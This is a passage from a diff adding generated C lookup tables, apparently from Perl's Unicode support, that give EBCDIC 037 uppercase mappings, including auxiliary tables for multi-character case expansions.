+	0x1EB8,
+	0x1EB9,
+	0x1EBA,
+	0x1EBB,
+	0x1EBC,
+	0x1EBD,
+	0x1EBE,
+	0x1EBF,
+	0x1EC0,
+	0x1EC1,
+	0x1EC2,
+	0x1EC3,
+	0x1EC4,
+	0x1EC5,
+	0x1EC6,
+	0x1EC7,
+	0x1EC8,
+	0x1EC9,
+	0x1ECA,
+	0x1ECB,
+	0x1ECC,
+	0x1ECD,
+	0x1ECE,
+	0x1ECF,
+	0x1ED0,
+	0x1ED1,
+	0x1ED2,
+	0x1ED3,
+	0x1ED4,
+	0x1ED5,
+	0x1ED6,
+	0x1ED7,
+	0x1ED8,
+	0x1ED9,
+	0x1EDA,
+	0x1EDB,
+	0x1EDC,
+	0x1EDD,
+	0x1EDE,
+	0x1EDF,
+	0x1EE0,
+	0x1EE1,
+	0x1EE2,
+	0x1EE3,
+	0x1EE4,
+	0x1EE5,
+	0x1EE6,
+	0x1EE7,
+	0x1EE8,
+	0x1EE9,
+	0x1EEA,
+	0x1EEB,
+	0x1EEC,
+	0x1EED,
+	0x1EEE,
+	0x1EEF,
+	0x1EF0,
+	0x1EF1,
+	0x1EF2,
+	0x1EF3,
+	0x1EF4,
+	0x1EF5,
+	0x1EF6,
+	0x1EF7,
+	0x1EF8,
+	0x1EF9,
+	0x1EFA,
+	0x1EFB,
+	0x1EFC,
+	0x1EFD,
+	0x1EFE,
+	0x1EFF,
+	0x1F00,
+	0x1F08,
+	0x1F10,
+	0x1F16,
+	0x1F20,
+	0x1F28,
+	0x1F30,
+	0x1F38,
+	0x1F40,
+	0x1F46,
+	0x1F50,
+	0x1F51,
+	0x1F52,
+	0x1F53,
+	0x1F54,
+	0x1F55,
+	0x1F56,
+	0x1F57,
+	0x1F58,
+	0x1F60,
+	0x1F68,
+	0x1F70,
+	0x1F72,
+	0x1F76,
+	0x1F78,
+	0x1F7A,
+	0x1F7C,
+	0x1F7E,
+	0x1F80,
+	0x1F81,
+	0x1F82,
+	0x1F83,
+	0x1F84,
+	0x1F85,
+	0x1F86,
+	0x1F87,
+	0x1F88,
+	0x1F89,
+	0x1F8A,
+	0x1F8B,
+	0x1F8C,
+	0x1F8D,
+	0x1F8E,
+	0x1F8F,
+	0x1F90,
+	0x1F91,
+	0x1F92,
+	0x1F93,
+	0x1F94,
+	0x1F95,
+	0x1F96,
+	0x1F97,
+	0x1F98,
+	0x1F99,
+	0x1F9A,
+	0x1F9B,
+	0x1F9C,
+	0x1F9D,
+	0x1F9E,
+	0x1F9F,
+	0x1FA0,
+	0x1FA1,
+	0x1FA2,
+	0x1FA3,
+	0x1FA4,
+	0x1FA5,
+	0x1FA6,
+	0x1FA7,
+	0x1FA8,
+	0x1FA9,
+	0x1FAA,
+	0x1FAB,
+	0x1FAC,
+	0x1FAD,
+	0x1FAE,
+	0x1FAF,
+	0x1FB0,
+	0x1FB2,
+	0x1FB3,
+	0x1FB4,
+	0x1FB5,
+	0x1FB6,
+	0x1FB7,
+	0x1FB8,
+	0x1FBC,
+	0x1FBD,
+	0x1FBE,
+	0x1FBF,
+	0x1FC2,
+	0x1FC3,
+	0x1FC4,
+	0x1FC5,
+	0x1FC6,
+	0x1FC7,
+	0x1FC8,
+	0x1FCC,
+	0x1FCD,
+	0x1FD0,
+	0x1FD2,
+	0x1FD3,
+	0x1FD4,
+	0x1FD6,
+	0x1FD7,
+	0x1FD8,
+	0x1FE0,
+	0x1FE2,
+	0x1FE3,
+	0x1FE4,
+	0x1FE5,
+	0x1FE6,
+	0x1FE7,
+	0x1FE8,
+	0x1FF2,
+	0x1FF3,
+	0x1FF4,
+	0x1FF5,
+	0x1FF6,
+	0x1FF7,
+	0x1FF8,
+	0x1FFC,
+	0x1FFD,
+	0x214E,
+	0x214F,
+	0x2170,
+	0x2180,
+	0x2184,
+	0x2185,
+	0x24D0,
+	0x24EA,
+	0x2C30,
+	0x2C5F,
+	0x2C61,
+	0x2C62,
+	0x2C65,
+	0x2C66,
+	0x2C67,
+	0x2C68,
+	0x2C69,
+	0x2C6A,
+	0x2C6B,
+	0x2C6C,
+	0x2C6D,
+	0x2C73,
+	0x2C74,
+	0x2C76,
+	0x2C77,
+	0x2C81,
+	0x2C82,
+	0x2C83,
+	0x2C84,
+	0x2C85,
+	0x2C86,
+	0x2C87,
+	0x2C88,
+	0x2C89,
+	0x2C8A,
+	0x2C8B,
+	0x2C8C,
+	0x2C8D,
+	0x2C8E,
+	0x2C8F,
+	0x2C90,
+	0x2C91,
+	0x2C92,
+	0x2C93,
+	0x2C94,
+	0x2C95,
+	0x2C96,
+	0x2C97,
+	0x2C98,
+	0x2C99,
+	0x2C9A,
+	0x2C9B,
+	0x2C9C,
+	0x2C9D,
+	0x2C9E,
+	0x2C9F,
+	0x2CA0,
+	0x2CA1,
+	0x2CA2,
+	0x2CA3,
+	0x2CA4,
+	0x2CA5,
+	0x2CA6,
+	0x2CA7,
+	0x2CA8,
+	0x2CA9,
+	0x2CAA,
+	0x2CAB,
+	0x2CAC,
+	0x2CAD,
+	0x2CAE,
+	0x2CAF,
+	0x2CB0,
+	0x2CB1,
+	0x2CB2,
+	0x2CB3,
+	0x2CB4,
+	0x2CB5,
+	0x2CB6,
+	0x2CB7,
+	0x2CB8,
+	0x2CB9,
+	0x2CBA,
+	0x2CBB,
+	0x2CBC,
+	0x2CBD,
+	0x2CBE,
+	0x2CBF,
+	0x2CC0,
+	0x2CC1,
+	0x2CC2,
+	0x2CC3,
+	0x2CC4,
+	0x2CC5,
+	0x2CC6,
+	0x2CC7,
+	0x2CC8,
+	0x2CC9,
+	0x2CCA,
+	0x2CCB,
+	0x2CCC,
+	0x2CCD,
+	0x2CCE,
+	0x2CCF,
+	0x2CD0,
+	0x2CD1,
+	0x2CD2,
+	0x2CD3,
+	0x2CD4,
+	0x2CD5,
+	0x2CD6,
+	0x2CD7,
+	0x2CD8,
+	0x2CD9,
+	0x2CDA,
+	0x2CDB,
+	0x2CDC,
+	0x2CDD,
+	0x2CDE,
+	0x2CDF,
+	0x2CE0,
+	0x2CE1,
+	0x2CE2,
+	0x2CE3,
+	0x2CE4,
+	0x2CEC,
+	0x2CED,
+	0x2CEE,
+	0x2CEF,
+	0x2CF3,
+	0x2CF4,
+	0x2D00,
+	0x2D26,
+	0x2D27,
+	0x2D28,
+	0x2D2D,
+	0x2D2E,
+	0xA641,
+	0xA642,
+	0xA643,
+	0xA644,
+	0xA645,
+	0xA646,
+	0xA647,
+	0xA648,
+	0xA649,
+	0xA64A,
+	0xA64B,
+	0xA64C,
+	0xA64D,
+	0xA64E,
+	0xA64F,
+	0xA650,
+	0xA651,
+	0xA652,
+	0xA653,
+	0xA654,
+	0xA655,
+	0xA656,
+	0xA657,
+	0xA658,
+	0xA659,
+	0xA65A,
+	0xA65B,
+	0xA65C,
+	0xA65D,
+	0xA65E,
+	0xA65F,
+	0xA660,
+	0xA661,
+	0xA662,
+	0xA663,
+	0xA664,
+	0xA665,
+	0xA666,
+	0xA667,
+	0xA668,
+	0xA669,
+	0xA66A,
+	0xA66B,
+	0xA66C,
+	0xA66D,
+	0xA66E,
+	0xA681,
+	0xA682,
+	0xA683,
+	0xA684,
+	0xA685,
+	0xA686,
+	0xA687,
+	0xA688,
+	0xA689,
+	0xA68A,
+	0xA68B,
+	0xA68C,
+	0xA68D,
+	0xA68E,
+	0xA68F,
+	0xA690,
+	0xA691,
+	0xA692,
+	0xA693,
+	0xA694,
+	0xA695,
+	0xA696,
+	0xA697,
+	0xA698,
+	0xA699,
+	0xA69A,
+	0xA69B,
+	0xA69C,
+	0xA723,
+	0xA724,
+	0xA725,
+	0xA726,
+	0xA727,
+	0xA728,
+	0xA729,
+	0xA72A,
+	0xA72B,
+	0xA72C,
+	0xA72D,
+	0xA72E,
+	0xA72F,
+	0xA730,
+	0xA733,
+	0xA734,
+	0xA735,
+	0xA736,
+	0xA737,
+	0xA738,
+	0xA739,
+	0xA73A,
+	0xA73B,
+	0xA73C,
+	0xA73D,
+	0xA73E,
+	0xA73F,
+	0xA740,
+	0xA741,
+	0xA742,
+	0xA743,
+	0xA744,
+	0xA745,
+	0xA746,
+	0xA747,
+	0xA748,
+	0xA749,
+	0xA74A,
+	0xA74B,
+	0xA74C,
+	0xA74D,
+	0xA74E,
+	0xA74F,
+	0xA750,
+	0xA751,
+	0xA752,
+	0xA753,
+	0xA754,
+	0xA755,
+	0xA756,
+	0xA757,
+	0xA758,
+	0xA759,
+	0xA75A,
+	0xA75B,
+	0xA75C,
+	0xA75D,
+	0xA75E,
+	0xA75F,
+	0xA760,
+	0xA761,
+	0xA762,
+	0xA763,
+	0xA764,
+	0xA765,
+	0xA766,
+	0xA767,
+	0xA768,
+	0xA769,
+	0xA76A,
+	0xA76B,
+	0xA76C,
+	0xA76D,
+	0xA76E,
+	0xA76F,
+	0xA770,
+	0xA77A,
+	0xA77B,
+	0xA77C,
+	0xA77D,
+	0xA77F,
+	0xA780,
+	0xA781,
+	0xA782,
+	0xA783,
+	0xA784,
+	0xA785,
+	0xA786,
+	0xA787,
+	0xA788,
+	0xA78C,
+	0xA78D,
+	0xA791,
+	0xA792,
+	0xA793,
+	0xA794,
+	0xA797,
+	0xA798,
+	0xA799,
+	0xA79A,
+	0xA79B,
+	0xA79C,
+	0xA79D,
+	0xA79E,
+	0xA79F,
+	0xA7A0,
+	0xA7A1,
+	0xA7A2,
+	0xA7A3,
+	0xA7A4,
+	0xA7A5,
+	0xA7A6,
+	0xA7A7,
+	0xA7A8,
+	0xA7A9,
+	0xA7AA,
+	0xA7B5,
+	0xA7B6,
+	0xA7B7,
+	0xA7B8,
+	0xAB53,
+	0xAB54,
+	0xAB70,
+	0xABC0,
+	0xFB00,
+	0xFB01,
+	0xFB02,
+	0xFB03,
+	0xFB04,
+	0xFB05,
+	0xFB07,
+	0xFB13,
+	0xFB14,
+	0xFB15,
+	0xFB16,
+	0xFB17,
+	0xFB18,
+	0xFF41,
+	0xFF5B,
+	0x10428,
+	0x10450,
+	0x104D8,
+	0x104FC,
+	0x10CC0,
+	0x10CF3,
+	0x118C0,
+	0x118E0,
+	0x1E922,
+	0x1E944
+};
+
+#   endif	/* EBCDIC 037 */
+
+#endif	/* defined(PERL_IN_UTF8_C) */
+
+#if defined(PERL_IN_UTF8_C)
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+/* Negative enum values indicate the need to use an auxiliary table
+ * consisting of the list of enums this one expands to.  The absolute
+ * values of the negative enums are indices into a table of the auxiliary
+ * tables' addresses */
+typedef enum {
+	UC_0 = 0,
+	UC_use_AUX_TABLE_1 = -1,
+	UC_use_AUX_TABLE_2 = -2,
+	UC_use_AUX_TABLE_3 = -3,
+	UC_use_AUX_TABLE_4 = -4,
+	UC_use_AUX_TABLE_5 = -5,
+	UC_use_AUX_TABLE_6 = -6,
+	UC_use_AUX_TABLE_7 = -7,
+	UC_use_AUX_TABLE_8 = -8,
+	UC_use_AUX_TABLE_9 = -9,
+	UC_use_AUX_TABLE_10 = -10,
+	UC_use_AUX_TABLE_11 = -11,
+	UC_use_AUX_TABLE_12 = -12,
+	UC_use_AUX_TABLE_13 = -13,
+	UC_use_AUX_TABLE_14 = -14,
+	UC_use_AUX_TABLE_15 = -15,
+	UC_use_AUX_TABLE_16 = -16,
+	UC_use_AUX_TABLE_17 = -17,
+	UC_use_AUX_TABLE_18 = -18,
+	UC_use_AUX_TABLE_19 = -19,
+	UC_use_AUX_TABLE_20 = -20,
+	UC_use_AUX_TABLE_21 = -21,
+	UC_use_AUX_TABLE_22 = -22,
+	UC_use_AUX_TABLE_23 = -23,
+	UC_use_AUX_TABLE_24 = -24,
+	UC_use_AUX_TABLE_25 = -25,
+	UC_use_AUX_TABLE_26 = -26,
+	UC_use_AUX_TABLE_27 = -27,
+	UC_use_AUX_TABLE_28 = -28,
+	UC_use_AUX_TABLE_29 = -29,
+	UC_use_AUX_TABLE_30 = -30,
+	UC_use_AUX_TABLE_31 = -31,
+	UC_use_AUX_TABLE_32 = -32,
+	UC_use_AUX_TABLE_33 = -33,
+	UC_use_AUX_TABLE_34 = -34,
+	UC_use_AUX_TABLE_35 = -35,
+	UC_use_AUX_TABLE_36 = -36,
+	UC_use_AUX_TABLE_37 = -37,
+	UC_use_AUX_TABLE_38 = -38,
+	UC_use_AUX_TABLE_39 = -39,
+	UC_use_AUX_TABLE_40 = -40,
+	UC_use_AUX_TABLE_41 = -41,
+	UC_use_AUX_TABLE_42 = -42,
+	UC_use_AUX_TABLE_43 = -43,
+	UC_use_AUX_TABLE_44 = -44,
+	UC_use_AUX_TABLE_45 = -45,
+	UC_use_AUX_TABLE_46 = -46,
+	UC_use_AUX_TABLE_47 = -47,
+	UC_use_AUX_TABLE_48 = -48,
+	UC_use_AUX_TABLE_49 = -49,
+	UC_use_AUX_TABLE_50 = -50,
+	UC_use_AUX_TABLE_51 = -51,
+	UC_use_AUX_TABLE_52 = -52,
+	UC_use_AUX_TABLE_53 = -53,
+	UC_use_AUX_TABLE_54 = -54,
+	UC_use_AUX_TABLE_55 = -55,
+	UC_use_AUX_TABLE_56 = -56,
+	UC_use_AUX_TABLE_57 = -57,
+	UC_use_AUX_TABLE_58 = -58,
+	UC_use_AUX_TABLE_59 = -59,
+	UC_use_AUX_TABLE_60 = -60,
+	UC_use_AUX_TABLE_61 = -61,
+	UC_use_AUX_TABLE_62 = -62,
+	UC_use_AUX_TABLE_63 = -63,
+	UC_use_AUX_TABLE_64 = -64,
+	UC_use_AUX_TABLE_65 = -65,
+	UC_use_AUX_TABLE_66 = -66,
+	UC_use_AUX_TABLE_67 = -67,
+	UC_use_AUX_TABLE_68 = -68,
+	UC_use_AUX_TABLE_69 = -69,
+	UC_use_AUX_TABLE_70 = -70,
+	UC_use_AUX_TABLE_71 = -71,
+	UC_use_AUX_TABLE_72 = -72
+} UC_enum;
+
+#   endif	/* EBCDIC 037 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+#define HAS_UC_AUX_TABLES
+
+static const unsigned int UC_AUX_TABLE_1[] = {
+	0xE2,
+	0xE2
+};
+
+static const unsigned int UC_AUX_TABLE_2[] = {
+	0x2BC,
+	0xD5
+};
+
+static const unsigned int UC_AUX_TABLE_3[] = {
+	0xD1,
+	0x30C
+};
+
+static const unsigned int UC_AUX_TABLE_4[] = {
+	0x399,
+	0x308,
+	0x301
+};
+
+static const unsigned int UC_AUX_TABLE_5[] = {
+	0x3A5,
+	0x308,
+	0x301
+};
+
+static const unsigned int UC_AUX_TABLE_6[] = {
+	0x535,
+	0x552
+};
+
+static const unsigned int UC_AUX_TABLE_7[] = {
+	0xC8,
+	0x331
+};
+
+static const unsigned int UC_AUX_TABLE_8[] = {
+	0xE3,
+	0x308
+};
+
+static const unsigned int UC_AUX_TABLE_9[] = {
+	0xE6,
+	0x30A
+};
+
+static const unsigned int UC_AUX_TABLE_10[] = {
+	0xE8,
+	0x30A
+};
+
+static const unsigned int UC_AUX_TABLE_11[] = {
+	0xC1,
+	0x2BE
+};
+
+static const unsigned int UC_AUX_TABLE_12[] = {
+	0x3A5,
+	0x313
+};
+
+static const unsigned int UC_AUX_TABLE_13[] = {
+	0x3A5,
+	0x313,
+	0x300
+};
+
+static const unsigned int UC_AUX_TABLE_14[] = {
+	0x3A5,
+	0x313,
+	0x301
+};
+
+static const unsigned int UC_AUX_TABLE_15[] = {
+	0x3A5,
+	0x313,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_16[] = {
+	0x1F08,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_17[] = {
+	0x1F09,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_18[] = {
+	0x1F0A,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_19[] = {
+	0x1F0B,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_20[] = {
+	0x1F0C,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_21[] = {
+	0x1F0D,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_22[] = {
+	0x1F0E,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_23[] = {
+	0x1F0F,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_24[] = {
+	0x1F28,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_25[] = {
+	0x1F29,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_26[] = {
+	0x1F2A,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_27[] = {
+	0x1F2B,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_28[] = {
+	0x1F2C,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_29[] = {
+	0x1F2D,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_30[] = {
+	0x1F2E,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_31[] = {
+	0x1F2F,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_32[] = {
+	0x1F68,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_33[] = {
+	0x1F69,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_34[] = {
+	0x1F6A,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_35[] = {
+	0x1F6B,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_36[] = {
+	0x1F6C,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_37[] = {
+	0x1F6D,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_38[] = {
+	0x1F6E,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_39[] = {
+	0x1F6F,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_40[] = {
+	0x1FBA,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_41[] = {
+	0x391,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_42[] = {
+	0x386,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_43[] = {
+	0x391,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_44[] = {
+	0x391,
+	0x342,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_45[] = {
+	0x1FCA,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_46[] = {
+	0x397,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_47[] = {
+	0x389,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_48[] = {
+	0x397,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_49[] = {
+	0x397,
+	0x342,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_50[] = {
+	0x399,
+	0x308,
+	0x300
+};
+
+static const unsigned int UC_AUX_TABLE_51[] = {
+	0x399,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_52[] = {
+	0x399,
+	0x308,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_53[] = {
+	0x3A5,
+	0x308,
+	0x300
+};
+
+static const unsigned int UC_AUX_TABLE_54[] = {
+	0x3A1,
+	0x313
+};
+
+static const unsigned int UC_AUX_TABLE_55[] = {
+	0x3A5,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_56[] = {
+	0x3A5,
+	0x308,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_57[] = {
+	0x1FFA,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_58[] = {
+	0x3A9,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_59[] = {
+	0x38F,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_60[] = {
+	0x3A9,
+	0x342
+};
+
+static const unsigned int UC_AUX_TABLE_61[] = {
+	0x3A9,
+	0x342,
+	0x399
+};
+
+static const unsigned int UC_AUX_TABLE_62[] = {
+	0xC6,
+	0xC6
+};
+
+static const unsigned int UC_AUX_TABLE_63[] = {
+	0xC6,
+	0xC9
+};
+
+static const unsigned int UC_AUX_TABLE_64[] = {
+	0xC6,
+	0xD3
+};
+
+static const unsigned int UC_AUX_TABLE_65[] = {
+	0xC6,
+	0xC6,
+	0xC9
+};
+
+static const unsigned int UC_AUX_TABLE_66[] = {
+	0xC6,
+	0xC6,
+	0xD3
+};
+
+static const unsigned int UC_AUX_TABLE_67[] = {
+	0xE2,
+	0xE3
+};
+
+static const unsigned int UC_AUX_TABLE_68[] = {
+	0x544,
+	0x546
+};
+
+static const unsigned int UC_AUX_TABLE_69[] = {
+	0x544,
+	0x535
+};
+
+static const unsigned int UC_AUX_TABLE_70[] = {
+	0x544,
+	0x53B
+};
+
+static const unsigned int UC_AUX_TABLE_71[] = {
+	0x54E,
+	0x546
+};
+
+static const unsigned int UC_AUX_TABLE_72[] = {
+	0x544,
+	0x53D
+};
+
+static const unsigned int * const UC_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	UC_AUX_TABLE_1,
+	UC_AUX_TABLE_2,
+	UC_AUX_TABLE_3,
+	UC_AUX_TABLE_4,
+	UC_AUX_TABLE_5,
+	UC_AUX_TABLE_6,
+	UC_AUX_TABLE_7,
+	UC_AUX_TABLE_8,
+	UC_AUX_TABLE_9,
+	UC_AUX_TABLE_10,
+	UC_AUX_TABLE_11,
+	UC_AUX_TABLE_12,
+	UC_AUX_TABLE_13,
+	UC_AUX_TABLE_14,
+	UC_AUX_TABLE_15,
+	UC_AUX_TABLE_16,
+	UC_AUX_TABLE_17,
+	UC_AUX_TABLE_18,
+	UC_AUX_TABLE_19,
+	UC_AUX_TABLE_20,
+	UC_AUX_TABLE_21,
+	UC_AUX_TABLE_22,
+	UC_AUX_TABLE_23,
+	UC_AUX_TABLE_24,
+	UC_AUX_TABLE_25,
+	UC_AUX_TABLE_26,
+	UC_AUX_TABLE_27,
+	UC_AUX_TABLE_28,
+	UC_AUX_TABLE_29,
+	UC_AUX_TABLE_30,
+	UC_AUX_TABLE_31,
+	UC_AUX_TABLE_32,
+	UC_AUX_TABLE_33,
+	UC_AUX_TABLE_34,
+	UC_AUX_TABLE_35,
+	UC_AUX_TABLE_36,
+	UC_AUX_TABLE_37,
+	UC_AUX_TABLE_38,
+	UC_AUX_TABLE_39,
+	UC_AUX_TABLE_40,
+	UC_AUX_TABLE_41,
+	UC_AUX_TABLE_42,
+	UC_AUX_TABLE_43,
+	UC_AUX_TABLE_44,
+	UC_AUX_TABLE_45,
+	UC_AUX_TABLE_46,
+	UC_AUX_TABLE_47,
+	UC_AUX_TABLE_48,
+	UC_AUX_TABLE_49,
+	UC_AUX_TABLE_50,
+	UC_AUX_TABLE_51,
+	UC_AUX_TABLE_52,
+	UC_AUX_TABLE_53,
+	UC_AUX_TABLE_54,
+	UC_AUX_TABLE_55,
+	UC_AUX_TABLE_56,
+	UC_AUX_TABLE_57,
+	UC_AUX_TABLE_58,
+	UC_AUX_TABLE_59,
+	UC_AUX_TABLE_60,
+	UC_AUX_TABLE_61,
+	UC_AUX_TABLE_62,
+	UC_AUX_TABLE_63,
+	UC_AUX_TABLE_64,
+	UC_AUX_TABLE_65,
+	UC_AUX_TABLE_66,
+	UC_AUX_TABLE_67,
+	UC_AUX_TABLE_68,
+	UC_AUX_TABLE_69,
+	UC_AUX_TABLE_70,
+	UC_AUX_TABLE_71,
+	UC_AUX_TABLE_72
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 UC_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
+	2	/* UC_AUX_TABLE_1 */,
+	2	/* UC_AUX_TABLE_2 */,
+	2	/* UC_AUX_TABLE_3 */,
+	3	/* UC_AUX_TABLE_4 */,
+	3	/* UC_AUX_TABLE_5 */,
+	2	/* UC_AUX_TABLE_6 */,
+	2	/* UC_AUX_TABLE_7 */,
+	2	/* UC_AUX_TABLE_8 */,
+	2	/* UC_AUX_TABLE_9 */,
+	2	/* UC_AUX_TABLE_10 */,
+	2	/* UC_AUX_TABLE_11 */,
+	2	/* UC_AUX_TABLE_12 */,
+	3	/* UC_AUX_TABLE_13 */,
+	3	/* UC_AUX_TABLE_14 */,
+	3	/* UC_AUX_TABLE_15 */,
+	2	/* UC_AUX_TABLE_16 */,
+	2	/* UC_AUX_TABLE_17 */,
+	2	/* UC_AUX_TABLE_18 */,
+	2	/* UC_AUX_TABLE_19 */,
+	2	/* UC_AUX_TABLE_20 */,
+	2	/* UC_AUX_TABLE_21 */,
+	2	/* UC_AUX_TABLE_22 */,
+	2	/* UC_AUX_TABLE_23 */,
+	2	/* UC_AUX_TABLE_24 */,
+	2	/* UC_AUX_TABLE_25 */,
+	2	/* UC_AUX_TABLE_26 */,
+	2	/* UC_AUX_TABLE_27 */,
+	2	/* UC_AUX_TABLE_28 */,
+	2	/* UC_AUX_TABLE_29 */,
+	2	/* UC_AUX_TABLE_30 */,
+	2	/* UC_AUX_TABLE_31 */,
+	2	/* UC_AUX_TABLE_32 */,
+	2	/* UC_AUX_TABLE_33 */,
+	2	/* UC_AUX_TABLE_34 */,
+	2	/* UC_AUX_TABLE_35 */,
+	2	/* UC_AUX_TABLE_36 */,
+	2	/* UC_AUX_TABLE_37 */,
+	2	/* UC_AUX_TABLE_38 */,
+	2	/* UC_AUX_TABLE_39 */,
+	2	/* UC_AUX_TABLE_40 */,
+	2	/* UC_AUX_TABLE_41 */,
+	2	/* UC_AUX_TABLE_42 */,
+	2	/* UC_AUX_TABLE_43 */,
+	3	/* UC_AUX_TABLE_44 */,
+	2	/* UC_AUX_TABLE_45 */,
+	2	/* UC_AUX_TABLE_46 */,
+	2	/* UC_AUX_TABLE_47 */,
+	2	/* UC_AUX_TABLE_48 */,
+	3	/* UC_AUX_TABLE_49 */,
+	3	/* UC_AUX_TABLE_50 */,
+	2	/* UC_AUX_TABLE_51 */,
+	3	/* UC_AUX_TABLE_52 */,
+	3	/* UC_AUX_TABLE_53 */,
+	2	/* UC_AUX_TABLE_54 */,
+	2	/* UC_AUX_TABLE_55 */,
+	3	/* UC_AUX_TABLE_56 */,
+	2	/* UC_AUX_TABLE_57 */,
+	2	/* UC_AUX_TABLE_58 */,
+	2	/* UC_AUX_TABLE_59 */,
+	2	/* UC_AUX_TABLE_60 */,
+	3	/* UC_AUX_TABLE_61 */,
+	2	/* UC_AUX_TABLE_62 */,
+	2	/* UC_AUX_TABLE_63 */,
+	2	/* UC_AUX_TABLE_64 */,
+	3	/* UC_AUX_TABLE_65 */,
+	3	/* UC_AUX_TABLE_66 */,
+	2	/* UC_AUX_TABLE_67 */,
+	2	/* UC_AUX_TABLE_68 */,
+	2	/* UC_AUX_TABLE_69 */,
+	2	/* UC_AUX_TABLE_70 */,
+	2	/* UC_AUX_TABLE_71 */,
+	2	/* UC_AUX_TABLE_72 */
+};
+
+static const int Uppercase_Mapping_invmap[] = { /* for EBCDIC 037 */
+	0,
+	0x62,
+	0,
+	0x71,
+	UC_use_AUX_TABLE_1,
+	0,
+	0x80,
+	0,
+	0xC1,
+	0,
+	0xAC,
+	0,
+	0xD1,
+	0,
+	0x9E,
+	0,
+	0x39C,
+	0,
+	0xE2,
+	0,
+	0xEB,
+	0,
+	0xFB,
+	0x178,
+	0,
+	0x100,
+	0,
+	0x102,
+	0,
+	0x104,
+	0,
+	0x106,
+	0,
+	0x108,
+	0,
+	0x10A,
+	0,
+	0x10C,
+	0,
+	0x10E,
+	0,
+	0x110,
+	0,
+	0x112,
+	0,
+	0x114,
+	0,
+	0x116,
+	0,
+	0x118,
+	0,
+	0x11A,
+	0,
+	0x11C,
+	0,
+	0x11E,
+	0,
+	0x120,
+	0,
+	0x122,
+	0,
+	0x124,
+	0,
+	0x126,
+	0,
+	0x128,
+	0,
+	0x12A,
+	0,
+	0x12C,
+	0,
+	0x12E,
+	0,
+	0xC9,
+	0,
+	0x132,
+	0,
+	0x134,
+	0,
+	0x136,
+	0,
+	0x139,
+	0,
+	0x13B,
+	0,
+	0x13D,
+	0,
+	0x13F,
+	0,
+	0x141,
+	0,
+	0x143,
+	0,
+	0x145,
+	0,
+	0x147,
+	UC_use_AUX_TABLE_2,
+	0,
+	0x14A,
+	0,
+	0x14C,
+	0,
+	0x14E,
+	0,
+	0x150,
+	0,
+	0x152,
+	0,
+	0x154,
+	0,
+	0x156,
+	0,
+	0x158,
+	0,
+	0x15A,
+	0,
+	0x15C,
+	0,
+	0x15E,
+	0,
+	0x160,
+	0,
+	0x162,
+	0,
+	0x164,
+	0,
+	0x166,
+	0,
+	0x168,
+	0,
+	0x16A,
+	0,
+	0x16C,
+	0,
+	0x16E,
+	0,
+	0x170,
+	0,
+	0x172,
+	0,
+	0x174,
+	0,
+	0x176,
+	0,
+	0x179,
+	0,
+	0x17B,
+	0,
+	0x17D,
+	0xE2,
+	0x243,
+	0,
+	0x182,
+	0,
+	0x184,
+	0,
+	0x187,
+	0,
+	0x18B,
+	0,
+	0x191,
+	0,
+	0x1F6,
+	0,
+	0x198,
+	0x23D,
+	0,
+	0x220,
+	0,
+	0x1A0,
+	0,
+	0x1A2,
+	0,
+	0x1A4,
+	0,
+	0x1A7,
+	0,
+	0x1AC,
+	0,
+	0x1AF,
+	0,
+	0x1B3,
+	0,
+	0x1B5,
+	0,
+	0x1B8,
+	0,
+	0x1BC,
+	0,
+	0x1F7,
+	0,
+	0x1C4,
+	0x1C4,
+	0,
+	0x1C7,
